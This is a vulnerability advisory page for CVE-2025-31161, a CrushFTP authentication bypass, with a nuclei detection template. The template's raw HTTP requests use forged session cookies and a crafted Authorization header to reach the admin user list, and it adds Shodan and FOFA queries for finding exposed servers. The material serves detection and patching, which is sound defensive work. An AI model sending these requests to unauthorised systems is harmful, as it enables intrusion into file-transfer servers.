CrushFTP - Authentication Bypass

Exploited in the wild. Listed by CISA on 2025-04-07; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.

Impact

Unauthenticated attackers can bypass authentication by forging session cookies, gaining unauthorized administrative access to CrushFTP and potentially compromising the entire file transfer infrastructure.

Fix

Upgrade to CrushFTP version 10.8.4 or 11.3.1 or later that properly validates session authentication.

How to confirm it

Send: GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}}
Positive when: contains "<user_list_subitem>crushadmin</user_list_subitem>" AND contains in content_type "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2025-31161 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-31161

info:
  name: CrushFTP - Authentication Bypass
  author: parthmalhotra,Ice3man,DhiyaneshDk,pdresearch,whattheslime
  severity: critical
  description: |
    CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
  impact: |
    Unauthenticated attackers can bypass authentication by forging session cookies, gaining unauthorized administrative access to CrushFTP and potentially compromising the entire file transfer infrastructure.
  remediation: |
    Upgrade to CrushFTP version 10.8.4 or 11.3.1 or later that properly validates session authentication.
  reference:
    - https://projectdiscovery.io/blog/crushftp-authentication-bypass/
    - https://www.rapid7.com/blog/post/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/
    - https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31161
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-31161
    cwe-id: CWE-287
    epss-score: 0.99969
    epss-percentile: 0.99977
  metadata:
    max-request: 2
    vendor: crushftp
    product: crushftp
    shodan-query:
      - http.title:"CrushFTP WebInterface"
      - http.favicon.hash:-1022206565
      - http.html:"crushftp"
    fofa-query:
      - icon_hash="-1022206565"
      - title="CrushFTP WebInterface"
      - body="crushftp"
  tags: cve,cve2025,crushftp,unauth,auth-bypass,rce,kev,vkev,vuln

variables:
  string_1: "{{rand_text_numeric(13)}}"
  string_2: "{{rand_text_alpha(28)}}"
  string_3: "{{rand_text_numeric(4)}}"

http:
  - raw:
      - |
        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
        Host: {{Hostname}}
        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

      - |
        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
        Host: {{Hostname}}
        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<user_list_subitem>crushadmin</user_list_subitem>"

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from